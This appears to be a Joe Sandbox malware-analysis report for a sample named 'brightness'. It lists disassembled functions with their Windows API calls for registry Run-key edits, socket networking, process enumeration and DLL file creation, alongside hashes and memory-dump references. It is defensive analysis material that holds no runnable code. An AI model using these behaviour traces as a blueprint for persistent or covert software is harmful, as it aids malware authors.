Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Close$CreateValue__snwprintf_memset
String ID: SOFTWARE\%s${D4C13668-5BB2-45CB-BED4-3819586C0538}
API String ID: 749045061-2821402801
Opcode ID: 28eadc8fac3ae14b03e38436e30c94f6cca1cb3dabc2f0a22b4678276922f490
Instruction ID: 1afe7fa9a05d8c83b09c078991c5fe6c5b360e3a76356a31f093f3c05c9a233f
Opcode Fuzzy Hash: 28eadc8fac3ae14b03e38436e30c94f6cca1cb3dabc2f0a22b4678276922f490
Instruction Fuzzy Hash: F511CC75750308F7E724DBA4ECCAFAB737CAB04F00F504148BB05AA1C0E6B19B109750

Function 002C5090 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002C50B0
__snwprintf.LIBCMT ref: 002C50CE
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F013F,00000000,?,00000000), ref: 002C50F5
RegSetValueExW.ADVAPI32(?,{487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B},00000000,00000003,?,00000B3C), ref: 002C5115
RegCloseKey.ADVAPI32(?), ref: 002C5123
RegCloseKey.ADVAPI32(?), ref: 002C5134

Strings

{487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}, xrefs: 002C50B8, 002C510C
SOFTWARE\%s, xrefs: 002C50BD

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Close$CreateValue__snwprintf_memset
String ID: SOFTWARE\%s${487D59FC-B28A-4E0E-B2D6-0FAD7FD3C01B}
API String ID: 749045061-1520914231
Opcode ID: 0d3c72fe672b04eccb28925d3af47d37ff361fa35b6a0a6c08d504fa8a775af5
Instruction ID: 12618d16dfb8fa00cca269bfd15e3a495c4c5a48c108f18b9fca511017fa5393
Opcode Fuzzy Hash: 0d3c72fe672b04eccb28925d3af47d37ff361fa35b6a0a6c08d504fa8a775af5
Instruction Fuzzy Hash: 4D119F75760308B7E724DB60DC8AFAA737CAB44F00F504548B708AA1C0E6F19B509795

Function 002D2680 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegOpenKeyW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 002D269B
RegDeleteValueW.ADVAPI32(?,00336FC8,?,?,002C1109), ref: 002D26AE
RegCloseKey.ADVAPI32(?,?,?,002C1109), ref: 002D26B8
RegOpenKeyW.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,?), ref: 002D26D5
RegDeleteValueW.ADVAPI32(?,00337016,?,?,002C1109), ref: 002D26E8
RegCloseKey.ADVAPI32(?,?,?,002C1109), ref: 002D26F2

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 002D26CB
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 002D2691

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 849931509-2226521311
Opcode ID: 5a9c51701bb359300a1188a3187adad3d69852a738c525b5d44f2213980af97a
Instruction ID: 34ef2d68ade9163447d6d23c8cf99104a58b70e1da152a5e765dfad842c320eb
Opcode Fuzzy Hash: 5a9c51701bb359300a1188a3187adad3d69852a738c525b5d44f2213980af97a
Instruction Fuzzy Hash: 23018178610308FBC729DFA0FDC9E6A733CEB14B01F104059FA05A2250DA71DE15AB65

Function 002E2030 Relevance: 13.8, APIs: 9, Instructions: 295networkCOMMON

Download Yara Rule

APIs

Part of subcall function 002E2450: CoInitialize.OLE32(00000000), ref: 002E2466
Part of subcall function 002E2450: CoCreateGuid.COMBASE(c .), ref: 002E2478
Part of subcall function 002E2450: StringFromGUID2.COMBASE(c .,?,00000027), ref: 002E2490
Part of subcall function 002E2450: LocalAlloc.KERNEL32(00000040,00000068), ref: 002E24B8
Part of subcall function 002E2450: und_memcpy.LIBCMTD ref: 002E2505
Part of subcall function 002E2450: LocalFree.KERNEL32(00000000), ref: 002E2511
Part of subcall function 002E2450: CoUninitialize.COMBASE ref: 002E2517

Part of subcall function 002DFFF0: socket.WS2_32(00000002,00000001,00000006), ref: 002DFFFF

setsockopt.WS2_32(00000000,0000FFFF,00000080,?,00000004), ref: 002E20F0
LocalFree.KERNEL32(00000000), ref: 002E2428

Part of subcall function 002E0950: WSACreateEvent.WS2_32 ref: 002E09B0

Part of subcall function 002E2530: LocalAlloc.KERNEL32(00000040,00000318), ref: 002E2540
Part of subcall function 002E2530: LocalFree.KERNEL32(00000000), ref: 002E256B

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 002E23B3
WSAEventSelect.WS2_32(00000000,00000000,00000020), ref: 002E23D8
und_memcpy.LIBCMTD ref: 002E23F7
CloseHandle.KERNEL32(00000000), ref: 002E240E
LocalFree.KERNEL32(00000000), ref: 002E241B
shutdown.WS2_32(00000000,00000002), ref: 002E2437
closesocket.WS2_32(00000000), ref: 002E2444

Part of subcall function 002E0CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E0CED

Part of subcall function 002E0950: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E096D

Part of subcall function 002E0CD0: WSACreateEvent.WS2_32 ref: 002E0D30

Part of subcall function 002E26F0: LocalAlloc.KERNEL32(00000040,00000280), ref: 002E2700
Part of subcall function 002E26F0: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 002E2754
Part of subcall function 002E26F0: LocalFree.KERNEL32(00000020), ref: 002E2762

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$CreateEvent$Alloc$InfoLocale___crtund_memcpy$CloseFileFromGuidHandleInitializeModuleNameSelectStringUninitializeclosesocketsetsockoptshutdownsocket
String ID:
API String ID: 4218705229-0
Opcode ID: b4cd4422b1429a1195b08932ca31eada1cc304c7eab250d7b1bec3a9654508ab
Instruction ID: 1e675f916eaa81c3b70b105a47af960520fa46aa707dee284cb5a5fb68ffad11
Opcode Fuzzy Hash: b4cd4422b1429a1195b08932ca31eada1cc304c7eab250d7b1bec3a9654508ab
Instruction Fuzzy Hash: 8AB16FB5A50358AFEB24DF95CC85FEA7379AB48700F504198F609A7181D7B06E88CF61

Function 002C6AC0 Relevance: 13.8, APIs: 9, Instructions: 253memoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 002C6B42
LocalAlloc.KERNEL32(00000040,?), ref: 002C6C3D

Part of subcall function 002E0950: WSACreateEvent.WS2_32 ref: 002E09B0

LocalAlloc.KERNEL32(00000040,?), ref: 002C6C9A
LocalFree.KERNEL32(00000000), ref: 002C6DE6

Part of subcall function 002C8A80: LocalFree.KERNEL32(00000000), ref: 002C8AE0
Part of subcall function 002C8A80: LocalFree.KERNEL32(00000000), ref: 002C8AF0
Part of subcall function 002C8A80: LocalAlloc.KERNEL32(00000040,00030010), ref: 002C8B3B
Part of subcall function 002C8A80: LocalAlloc.KERNEL32(00000040,00008AD0), ref: 002C8B55
Part of subcall function 002C8A80: _memmove.LIBCMT ref: 002C8B76

Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B,002D6B10,00000000), ref: 002C81EB
Part of subcall function 002C81C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,002C8D2B), ref: 002C8205
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8235
Part of subcall function 002C81C0: wnsprintfW.SHLWAPI ref: 002C8251
Part of subcall function 002C81C0: LocalFree.KERNEL32(00000000), ref: 002C8A43

Part of subcall function 002C9400: LocalAlloc.KERNEL32(00000040,002C6D26,?,002C6D8A,00000000,00000000,?), ref: 002C9416
Part of subcall function 002C9400: _memmove.LIBCMT ref: 002C9435
Part of subcall function 002C9400: StrStrIW.SHLWAPI(?,.DLL), ref: 002C9511
Part of subcall function 002C9400: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 002C953C

LocalFree.KERNEL32(00000000), ref: 002C6DAD
LocalFree.KERNEL32(00000000), ref: 002C6DBA
LocalFree.KERNEL32(00000000), ref: 002C6DFC
shutdown.WS2_32(?,00000002), ref: 002C6E68
closesocket.WS2_32(?), ref: 002C6E72

Part of subcall function 002E0CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E0CED

Part of subcall function 002E0950: ___crtGetLocaleInfoEx.LIBCMTD ref: 002E096D

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$AllocFree$CreateInfoLocale___crt_memmovewnsprintf$EventFileclosesocketsetsockoptshutdown
String ID:
API String ID: 295459137-0
Opcode ID: 02396c4ed91627e0eb218f1a8c5ed57c83f8bdd30aae73875832bb2c15a55d38
Instruction ID: eea9e0f00f77fe9352ccd8ef349ef083923047e62f88639fb4ab9134b4f87113
Opcode Fuzzy Hash: 02396c4ed91627e0eb218f1a8c5ed57c83f8bdd30aae73875832bb2c15a55d38
Instruction Fuzzy Hash: 20B130B5E10218AFEB24DF94CC45FEEB778BF44300F508299E619A7281D7B15A85CFA1

Function 002C2640 Relevance: 13.7, APIs: 9, Instructions: 190processmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 002C2694
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 002C26B2
Process32FirstW.KERNEL32(00000000,0000022C), ref: 002C26DA
_memset.LIBCMT ref: 002C27B1

Part of subcall function 002C1C60: _wcsrchr.LIBCMT ref: 002C1C6C

StrCatW.SHLWAPI(00000000,002F2714), ref: 002C2863
StrCatW.SHLWAPI(00000000,?), ref: 002C2874

Part of subcall function 002C2A80: construct.LIBCPMTD ref: 002C2B09

Process32NextW.KERNEL32(00000000,0000022C), ref: 002C28D6
CloseHandle.KERNEL32(00000000), ref: 002C28E8
LocalFree.KERNEL32(00000000), ref: 002C28F8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
